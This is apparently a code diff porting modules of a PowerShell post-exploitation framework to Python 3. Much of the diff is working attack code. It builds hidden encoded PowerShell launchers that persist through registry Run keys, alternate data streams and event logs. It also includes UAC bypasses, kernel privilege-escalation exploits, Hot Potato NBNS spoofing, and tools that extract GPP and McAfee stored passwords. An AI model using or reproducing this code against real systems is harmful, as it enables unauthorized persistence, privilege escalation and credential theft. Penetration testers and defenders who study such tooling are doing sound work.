157160 if os.path.exists(extFile):
158161 f = open(extFile, 'r')
159162 fileData = f.read()
160163 f.close()
161
164
162165 # unicode-base64 encode the script for -enc launching
163166 encScript = helpers.enc_powershell(fileData)
164167 statusMsg += "using external file " + extFile
165
168
166169 else:
167 print helpers.color("[!] File does not exist: " + extFile)
170 print(helpers.color("[!] File does not exist: " + extFile))
168171 return ""
169
172
170173 else:
171174 # if an external file isn't specified, use a listener
172175 if not self.mainMenu.listeners.is_listener_valid(listenerName):
173176 # not a valid listener, return nothing for the script
174 print helpers.color("[!] Invalid listener: " + listenerName)
177 print(helpers.color("[!] Invalid listener: " + listenerName))
175178 return ""
176
179
177180 else:
178181 # generate the PowerShell one-liner with all of the proper options set
179 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
182 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True,
183 userAgent=userAgent, proxy=proxy,
184 proxyCreds=proxyCreds)
180185
181186 encScript = launcher.split(" ")[-1]
182187 statusMsg += "using listener " + listenerName
183
184
188
185189 if adsPath != '':
186190 # store the script in the specified alternate data stream location
187191
188192 if adsPath != '':
189193 if ".txt" not in adsPath:
190 print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt")
194 print(helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"))
191195 return ""
192
193 script = "Invoke-Command -ScriptBlock {cmd /C \"echo "+encScript+" > "+adsPath+"\"};"
194
195 locationString = "$(cmd /c \''more < "+adsPath+"\'')"
196
196
197 script = "Invoke-Command -ScriptBlock {cmd /C \"echo " + encScript + " > " + adsPath + "\"};"
198
199 locationString = "$(cmd /c \''more < " + adsPath + "\'')"
200
197201 elif eventLogID != '':
198202 # store the script in the event log under the specified ID
199203 # credit to @subtee
200204 # https://gist.github.com/subTee/949fdf0f141546f24978
201
205
202206 # sanity check to make sure we haven't exceeded the 31389 byte max
203207 if len(encScript) > 31389:
204 print helpers.color("[!] Warning: encoded script exceeds 31389 byte max.")
208 print(helpers.color("[!] Warning: encoded script exceeds 31389 byte max."))
205209 return ""
206
210
207211 statusMsg += " stored in Application event log under EventID " + eventLogID + "."
208
212
209213 # command to write out the encoded script to the specified eventlog ID
210 script = "Write-EventLog -logname Application -source WSH -eventID "+eventLogID+" -entrytype Information -message 'Debug' -category 1 -rawdata \"" + encScript + "\".ToCharArray();"
211
214 script = "Write-EventLog -logname Application -source WSH -eventID " + eventLogID + " -entrytype Information -message 'Debug' -category 1 -rawdata \"" + encScript + "\".ToCharArray();"
215
212216 # command to decode the binary data from the event log location
213 locationString = "$([Text.Encoding]::ASCII.GetString(@((Get-Eventlog -LogName Application | ?{$_.eventid -eq "+eventLogID+"}))[0].data))"
214
217 locationString = "$([Text.Encoding]::ASCII.GetString(@((Get-Eventlog -LogName Application | ?{$_.eventid -eq " + eventLogID + "}))[0].data))"
218
215219 else:
216220 # otherwise store the script into the specified registry location
217221 path = "\\".join(regPath.split("\\")[0:-1])
218222 name = regPath.split("\\")[-1]
219
223
220224 statusMsg += " stored in " + regPath + "."
221
222 script = "$RegPath = '"+regPath+"';"
225
226 script = "$RegPath = '" + regPath + "';"
223227 script += "$parts = $RegPath.split('\\');"
224228 script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';"
225229 script += "$name = $parts[-1];"
226 script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value "+encScript+";"
227
230 script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + encScript + ";"
231
228232 # note where the script is stored
229 locationString = "$((gp "+path+" "+name+")."+name+")"
230
231
233 locationString = "$((gp " + path + " " + name + ")." + name + ")"
234
232235 # set the run key to extract the encoded script from the specified location
233236 # and start powershell.exe in the background with the encoded command
234 script += "$null=Set-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name "+keyName+" -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x="+locationString+";powershell -Win Hidden -enc $x\"';"
235
236 script += "'Registry persistence established "+statusMsg+"'"
237 script += "$null=Set-ItemProperty -Force -Path HKCU:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + keyName + " -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"$x=" + locationString + ";powershell -Win Hidden -enc $x\"';"
238
239 script += "'Registry persistence established " + statusMsg + "'"
237240 if obfuscate:
238 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
241 script = helpers.obfuscate(self.mainMenu.installPath, psScript=script,
242 obfuscationCommand=obfuscationCommand)
239243 return script
+10
-7
lib/modules/powershell/persistence/userland/schtasks.py less more
0 from __future__ import print_function
1 from builtins import object
02 import os
13 from lib.common import helpers
24
3 class Module:
5
6 class Module(object):
47
58 def __init__(self, mainMenu, params=[]):
69
6063 'RegPath' : {
6164 'Description' : 'Registry location to store the script code. Last element is the key name.',
6265 'Required' : False,
63 'Value' : 'HKCU:\Software\Microsoft\Windows\CurrentVersion\debug'
66 'Value' : r'HKCU:\Software\Microsoft\Windows\CurrentVersion\debug'
6467 },
6568 'ADSPath' : {
6669 'Description' : 'Alternate-data-stream location to store the script code.',
136139 if adsPath != '':
137140 # remove the ADS storage location
138141 if ".txt" not in adsPath:
139 print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt")
142 print(helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"))
140143 return ""
141144
142145 script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > "+adsPath+"\"};"
170173 statusMsg += "using external file " + extFile
171174
172175 else:
173 print helpers.color("[!] File does not exist: " + extFile)
176 print(helpers.color("[!] File does not exist: " + extFile))
174177 return ""
175178
176179 else:
177180 # if an external file isn't specified, use a listener
178181 if not self.mainMenu.listeners.is_listener_valid(listenerName):
179182 # not a valid listener, return nothing for the script
180 print helpers.color("[!] Invalid listener: " + listenerName)
183 print(helpers.color("[!] Invalid listener: " + listenerName))
181184 return ""
182185
183186 else:
191194 if adsPath != '':
192195 # store the script in the specified alternate data stream location
193196 if ".txt" not in adsPath:
194 print helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt")
197 print(helpers.color("[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt"))
195198 return ""
196199
197200 script = "Invoke-Command -ScriptBlock {cmd /C \"echo "+encScript+" > "+adsPath+"\"};"
219222
220223 # sanity check to make sure we haven't exceeded the cmd.exe command length max
221224 if len(triggerCmd) > 259:
222 print helpers.color("[!] Warning: trigger command exceeds the maximum of 259 characters.")
225 print(helpers.color("[!] Warning: trigger command exceeds the maximum of 259 characters."))
223226 return ""
224227
225228 if idleTime != '':
+5
-3
lib/modules/powershell/privesc/ask.py less more
0 from __future__ import print_function
1 from builtins import object
02 from lib.common import helpers
13
2 class Module:
4 class Module(object):
35
46 def __init__(self, mainMenu, params=[]):
57
8486
8587 if not self.mainMenu.listeners.is_listener_valid(listenerName):
8688 # not a valid listener, return nothing for the script
87 print helpers.color("[!] Invalid listener: " + listenerName)
89 print(helpers.color("[!] Invalid listener: " + listenerName))
8890 return ""
8991 else:
9092 # generate the PowerShell one-liner with all of the proper options set
9193 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
9294
9395 if launcher == "":
94 print helpers.color("[!] Error in launcher generation.")
96 print(helpers.color("[!] Error in launcher generation."))
9597 return ""
9698 else:
9799 encLauncher = " ".join(launcher.split(" ")[1:])
+7
-4
lib/modules/powershell/privesc/bypassuac.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
9295 try:
9396 f = open(moduleSource, 'r')
9497 except:
95 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
98 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
9699 return ""
97100
98101 moduleCode = f.read()
102105
103106 if not self.mainMenu.listeners.is_listener_valid(listenerName):
104107 # not a valid listener, return nothing for the script
105 print helpers.color("[!] Invalid listener: " + listenerName)
108 print(helpers.color("[!] Invalid listener: " + listenerName))
106109 return ""
107110 else:
108111 # generate the PowerShell one-liner with all of the proper options set
109112 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
110113
111114 if launcher == "":
112 print helpers.color("[!] Error in launcher generation.")
115 print(helpers.color("[!] Error in launcher generation."))
113116 return ""
114117 else:
115118 scriptEnd = "Invoke-BypassUAC -Command \"%s\"" % (launcher)
+7
-4
lib/modules/powershell/privesc/bypassuac_env.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8689 try:
8790 f = open(moduleSource, 'r')
8891 except:
89 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
92 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
9093 return ""
9194
9295 moduleCode = f.read()
9699
97100 if not self.mainMenu.listeners.is_listener_valid(listenerName):
98101 # not a valid listener, return nothing for the script
99 print helpers.color("[!] Invalid listener: " + listenerName)
102 print(helpers.color("[!] Invalid listener: " + listenerName))
100103 return ""
101104 else:
102105 # generate the PowerShell one-liner with all of the proper options set
103106 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
104107 encScript = launcher.split(" ")[-1]
105108 if launcher == "":
106 print helpers.color("[!] Error in launcher generation.")
109 print(helpers.color("[!] Error in launcher generation."))
107110 return ""
108111 else:
109112 script += "Invoke-EnvBypass -Command \"%s\"" % (encScript)
+7
-4
lib/modules/powershell/privesc/bypassuac_eventvwr.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8790 try:
8891 f = open(moduleSource, 'r')
8992 except:
90 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
93 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
9194 return ""
9295
9396 moduleCode = f.read()
97100
98101 if not self.mainMenu.listeners.is_listener_valid(listenerName):
99102 # not a valid listener, return nothing for the script
100 print helpers.color("[!] Invalid listener: " + listenerName)
103 print(helpers.color("[!] Invalid listener: " + listenerName))
101104 return ""
102105 else:
103106 # generate the PowerShell one-liner with all of the proper options set
104107 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
105108 encScript = launcher.split(" ")[-1]
106109 if launcher == "":
107 print helpers.color("[!] Error in launcher generation.")
110 print(helpers.color("[!] Error in launcher generation."))
108111 return ""
109112 else:
110113 scriptEnd = "Invoke-EventVwrBypass -Command \"%s\"" % (encScript)
+7
-4
lib/modules/powershell/privesc/bypassuac_fodhelper.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8588 try:
8689 f = open(moduleSource, 'r')
8790 except:
88 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
91 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8992 return ""
9093
9194 moduleCode = f.read()
9598
9699 if not self.mainMenu.listeners.is_listener_valid(listenerName):
97100 # not a valid listener, return nothing for the script
98 print helpers.color("[!] Invalid listener: " + listenerName)
101 print(helpers.color("[!] Invalid listener: " + listenerName))
99102 return ""
100103 else:
101104 # generate the PowerShell one-liner with all of the proper options set
102105 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
103106 encScript = launcher.split(" ")[-1]
104107 if launcher == "":
105 print helpers.color("[!] Error in launcher generation.")
108 print(helpers.color("[!] Error in launcher generation."))
106109 return ""
107110 else:
108111 script += "Invoke-FodHelperBypass -Command \"%s\"" % (encScript)
+7
-4
lib/modules/powershell/privesc/bypassuac_sdctlbypass.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8588 try:
8689 f = open(moduleSource, 'r')
8790 except:
88 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
91 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8992 return ""
9093
9194 moduleCode = f.read()
9598
9699 if not self.mainMenu.listeners.is_listener_valid(listenerName):
97100 # not a valid listener, return nothing for the script
98 print helpers.color("[!] Invalid listener: " + listenerName)
101 print(helpers.color("[!] Invalid listener: " + listenerName))
99102 return ""
100103 else:
101104 # generate the PowerShell one-liner with all of the proper options set
102105 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
103106 encScript = launcher.split(" ")[-1]
104107 if launcher == "":
105 print helpers.color("[!] Error in launcher generation.")
108 print(helpers.color("[!] Error in launcher generation."))
106109 return ""
107110 else:
108111 script += "Invoke-SDCLTBypass -Command \"%s\"" % (encScript)
+5
-2
lib/modules/powershell/privesc/bypassuac_tokenmanipulation.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14 import base64
25 import re
36
4 class Module:
7 class Module(object):
58
69 def __init__(self, mainMenu, params=[]):
710
112115 try:
113116 f = open(moduleSource, 'r')
114117 except:
115 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
118 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
116119 return ""
117120
118121 moduleCode = f.read()
+7
-4
lib/modules/powershell/privesc/bypassuac_wscript.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8992 try:
9093 f = open(moduleSource, 'r')
9194 except:
92 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
95 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
9396 return ""
9497
9598 moduleCode = f.read()
99102
100103 if not self.mainMenu.listeners.is_listener_valid(listenerName):
101104 # not a valid listener, return nothing for the script
102 print helpers.color("[!] Invalid listener: " + listenerName)
105 print(helpers.color("[!] Invalid listener: " + listenerName))
103106 return ""
104107 else:
105108 # generate the PowerShell one-liner with all of the proper options set
106109 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
107110
108111 if launcher == "":
109 print helpers.color("[!] Error in launcher generation.")
112 print(helpers.color("[!] Error in launcher generation."))
110113 return ""
111114 else:
112115 scriptEnd = "Invoke-WScriptBypassUAC -payload \"%s\"" % (launcher)
+6
-3
lib/modules/powershell/privesc/getsystem.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8790 try:
8891 f = open(moduleSource, 'r')
8992 except:
90 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
93 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
9194 return ""
9295
9396 moduleCode = f.read()
102105 elif self.options['WhoAmI']['Value'].lower() == "true":
103106 scriptEnd += " -WhoAmI"
104107 else:
105 for option,values in self.options.iteritems():
108 for option,values in self.options.items():
106109 if option.lower() != "agent":
107110 if values['Value'] and values['Value'] != '':
108111 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/privesc/gpp.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
6063 try:
6164 f = open(moduleSource, 'r')
6265 except:
63 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
66 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6467 return ""
6568
6669 moduleCode = f.read()
7073
7174 scriptEnd = "Get-GPPPassword "
7275
73 for option,values in self.options.iteritems():
76 for option,values in self.options.items():
7477 if option.lower() != "agent":
7578 if values['Value'] and values['Value'] != '':
7679 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/privesc/mcafee_sitelist.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
5962 try:
6063 f = open(moduleSource, 'r')
6164 except:
62 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
65 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6366 return ""
6467
6568 moduleCode = f.read()
6972
7073 scriptEnd = "Get-SiteListPassword "
7174
72 for option,values in self.options.iteritems():
75 for option,values in self.options.items():
7376 if option.lower() != "agent":
7477 if values['Value'] and values['Value'] != '':
7578 if values['Value'].lower() == "true":
+5
-2
lib/modules/powershell/privesc/ms16-032.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7780 try:
7881 f = open(moduleSource, 'r')
7982 except:
80 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
83 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8184 return ""
8285
8386 moduleCode = f.read()
+5
-2
lib/modules/powershell/privesc/ms16-135.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7881 try:
7982 f = open(moduleSource, 'r')
8083 except:
81 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
84 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8285 return ""
8386
8487 moduleCode = f.read()
+12
-6
lib/modules/powershell/privesc/powerup/allchecks.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
5255 def generate(self, obfuscate=False, obfuscationCommand=""):
5356
5457 moduleName = self.info["Name"]
55
58 print('powerup checks')
5659 # read in the common powerup.ps1 module source code
5760 moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/PowerUp.ps1"
5861 if obfuscate:
6164 try:
6265 f = open(moduleSource, 'r')
6366 except:
64 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
67 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
6568 return ""
6669
6770 moduleCode = f.read()
6871 f.close()
69
72 moduleCode = bytes(moduleCode)
7073 # # get just the code needed for the specified function
7174 # script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
7275 script = moduleCode
7376
7477 scriptEnd = ';' + moduleName + " "
75
76 for option,values in self.options.iteritems():
78 print('allchecks.py: line 79')
79 for option,values in self.options.items():
7780 if option.lower() != "agent":
7881 if values['Value'] and values['Value'] != '':
7982 if values['Value'].lower() == "true":
8386 scriptEnd += " -" + str(option) + " " + str(values['Value'])
8487
8588 scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
89 print('allchecks.py: line 90')
8690 if obfuscate:
91 print('obfuscating script: allchecks.py')
8792 scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
8893 script += scriptEnd
94 print('allchecks.py: line 95')
8995 return script
+6
-3
lib/modules/powershell/privesc/powerup/find_dllhijack.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7679 try:
7780 f = open(moduleSource, 'r')
7881 except:
79 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
82 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8083 return ""
8184
8285 moduleCode = f.read()
8891
8992 scriptEnd = ';' + moduleName + " "
9093
91 for option,values in self.options.iteritems():
94 for option,values in self.options.items():
9295 if option.lower() != "agent":
9396 if values['Value'] and values['Value'] != '':
9497 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/privesc/powerup/service_exe_restore.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
7174 try:
7275 f = open(moduleSource, 'r')
7376 except:
74 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
77 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
7578 return ""
7679
7780 moduleCode = f.read()
8386
8487 scriptEnd = ';' + moduleName + " "
8588
86 for option,values in self.options.iteritems():
89 for option,values in self.options.items():
8790 if option.lower() != "agent":
8891 if values['Value'] and values['Value'] != '':
8992 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/privesc/powerup/service_exe_stager.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
9093 try:
9194 f = open(moduleSource, 'r')
9295 except:
93 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
96 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
9497 return ""
9598
9699 moduleCode = f.read()
122125 scriptEnd += "\"Launcher bat written to $tempLoc `n\";\n"
123126
124127 if launcherCode == "":
125 print helpers.color("[!] Error in launcher .bat generation.")
128 print(helpers.color("[!] Error in launcher .bat generation."))
126129 return ""
127130 else:
128131 scriptEnd += "\nInstall-ServiceBinary -ServiceName \""+str(serviceName)+"\" -Command \"C:\\Windows\\System32\\cmd.exe /C $tempLoc\""
+6
-3
lib/modules/powershell/privesc/powerup/service_exe_useradd.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8285 try:
8386 f = open(moduleSource, 'r')
8487 except:
85 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
88 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8689 return ""
8790
8891 moduleCode = f.read()
9497
9598 scriptEnd = ';' + moduleName + " "
9699
97 for option,values in self.options.iteritems():
100 for option,values in self.options.items():
98101 if option.lower() != "agent":
99102 if values['Value'] and values['Value'] != '':
100103 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/privesc/powerup/service_stager.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8689 try:
8790 f = open(moduleSource, 'r')
8891 except:
89 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
92 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
9093 return ""
9194
9295 moduleCode = f.read()
115118 scriptEnd += "\"Launcher bat written to $tempLoc `n\";\n"
116119
117120 if launcherCode == "":
118 print helpers.color("[!] Error in launcher .bat generation.")
121 print(helpers.color("[!] Error in launcher .bat generation."))
119122 return ""
120123
121124 scriptEnd += "Invoke-ServiceAbuse -ServiceName \""+serviceName+"\" -Command \"C:\\Windows\\System32\\cmd.exe /C `\"$env:Temp\\debug.bat`\"\""
+6
-3
lib/modules/powershell/privesc/powerup/service_useradd.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8285 try:
8386 f = open(moduleSource, 'r')
8487 except:
85 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
88 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
8689 return ""
8790
8891 moduleCode = f.read()
9497
9598 scriptEnd = ';' + moduleName + " "
9699
97 for option,values in self.options.iteritems():
100 for option,values in self.options.items():
98101 if option.lower() != "agent":
99102 if values['Value'] and values['Value'] != '':
100103 if values['Value'].lower() == "true":
+6
-3
lib/modules/powershell/privesc/powerup/write_dllhijacker.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
5 class Module(object):
36
47 def __init__(self, mainMenu, params=[]):
58
8992 try:
9093 f = open(moduleSource, 'r')
9194 except:
92 print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
95 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
9396 return ""
9497
9598 moduleCode = f.read()
111114 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
112115
113116 if launcher == "":
114 print helpers.color("[!] Error in launcher command generation.")
117 print(helpers.color("[!] Error in launcher command generation."))
115118 return ""
116119
117120 else:
+67
-0
lib/modules/powershell/privesc/sherlock.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
3 from lib.common import helpers
4
5 class Module:
6 def __init__(self, mainMenu, params=[]):
7 self.info = {
8 'Name': 'Sherlock',
9 'Author': ['@_RastaMouse'],
10 'Description': ('Find Windows local privilege escalation vulnerabilities.'),
11 'Background': True,
12 'OutputExtension': None,
13
14 'NeedsAdmin': False,
15 'OpsecSafe': True,
16
17 'Language': 'powershell',
18 'MinLanguageVersion': '2',
19
20 'Comments': [
21 'https://github.com/rasta-mouse/Sherlock'
22 ]
23 }
24 # any options needed by the module, settable during runtime
25 self.options = {
26 # format:
27 # value_name : {description, required, default_value}
28 'Agent': {
29 'Description': 'Agent to run module on.',
30 'Required': True,
31 'Value': ''
32 }
33 }
34 # save off a copy of the mainMenu object to access external functionality
35 # like listeners/agent handlers/etc.
36 self.mainMenu = mainMenu
37 for param in params:
38 # parameter format is [Name, Value]
39 option, value = param
40 if option in self.options:
41 self.options[option]['Value'] = value
42
43 def generate(self, obfuscate=False, obfuscationCommand=""):
44 moduleName = self.info["Name"]
45
46 # read in the common powerup.ps1 module source code
47 moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Sherlock.ps1"
48 if obfuscate:
49 helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
50 moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
51 try:
52 f = open(moduleSource, 'r')
53 except:
54 print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
55 return ""
56 moduleCode = f.read()
57 f.close()
58 # # get just the code needed for the specified function
59 # script = helpers.generate_dynamic_powershell_script(moduleCode, moduleName)
60 script = moduleCode
61 scriptEnd = "Find-AllVulns | Out-String"
62 if obfuscate:
63 scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd,
64 obfuscationCommand=obfuscationCommand)
65 script += scriptEnd
66 return script⏎
+94
-90
lib/modules/powershell/privesc/tater.py less more
0 from __future__ import print_function
1 from builtins import str
2 from builtins import object
03 from lib.common import helpers
14
2 class Module:
35
6 class Module(object):
7
48 def __init__(self, mainMenu, params=[]):
5
9
610 self.info = {
711 'Name': 'Invoke-Tater',
8
12
913 'Author': ['Kevin Robertson'],
10
14
1115 'Description': ('Tater is a PowerShell implementation of the Hot Potato '
1216 'Windows Privilege Escalation exploit from @breenmachine and @foxglovesec.'),
13
14 'Background' : True,
15
16 'OutputExtension' : None,
17
18 'NeedsAdmin' : False,
19
20 'OpsecSafe' : False,
21
22 'Language' : 'powershell',
23
24 'MinLanguageVersion' : '2',
25
17
18 'Background': True,
19
20 'OutputExtension': None,
21
22 'NeedsAdmin': False,
23
24 'OpsecSafe': False,
25
26 'Language': 'powershell',
27
28 'MinLanguageVersion': '2',
29
2630 'Comments': [
2731 'https://github.com/Kevin-Robertson/Tater'
2832 ]
2933 }
30
34
3135 # any options needed by the module, settable during runtime
3236 self.options = {
3337 # format:
3438 # value_name : {description, required, default_value}
35 'Agent' : {
36 'Description' : 'Agent to run module on.',
37 'Required' : True,
38 'Value' : ''
39 'Agent': {
40 'Description': 'Agent to run module on.',
41 'Required': True,
42 'Value': ''
3943 },
40 'IP' : {
41 'Description' : 'Specific local IP address for NBNS spoofer.',
42 'Required' : False,
43 'Value' : ''
44 'IP': {
45 'Description': 'Specific local IP address for NBNS spoofer.',
46 'Required': False,
47 'Value': ''
4448 },
45 'SpooferIP' : {
46 'Description' : 'IP address included in NBNS response. This is needed when using two hosts to get around an in-use port 80 on the privesc target.',
47 'Required' : False,
48 'Value' : ''
49 'SpooferIP': {
50 'Description': 'IP address included in NBNS response. This is needed when using two hosts to get around an in-use port 80 on the privesc target.',
51 'Required': False,
52 'Value': ''
4953 },
50 'Command' : {
51 'Description' : 'Command to execute during privilege escalation. Do not wrap in quotes and use PowerShell character escapes where necessary.',
52 'Required' : True,
53 'Value' : ''
54 'Command': {
55 'Description': 'Command to execute during privilege escalation. Do not wrap in quotes and use PowerShell character escapes where necessary.',
56 'Required': True,
57 'Value': ''
5458 },
55 'NBNS' : {
56 'Description' : 'Enable/Disable NBNS bruteforce spoofing (Y/N).',
57 'Required' : False,
58 'Value' : 'Y'
59 'NBNS': {
60 'Description': 'Enable/Disable NBNS bruteforce spoofing (Y/N).',
61 'Required': False,
62 'Value': 'Y'
5963 },
60 'NBNSLimit' : {
61 'Description' : 'Enable/Disable NBNS bruteforce spoofer limiting to stop NBNS spoofing while hostname is resolving correctly (Y/N).',
62 'Required' : False,
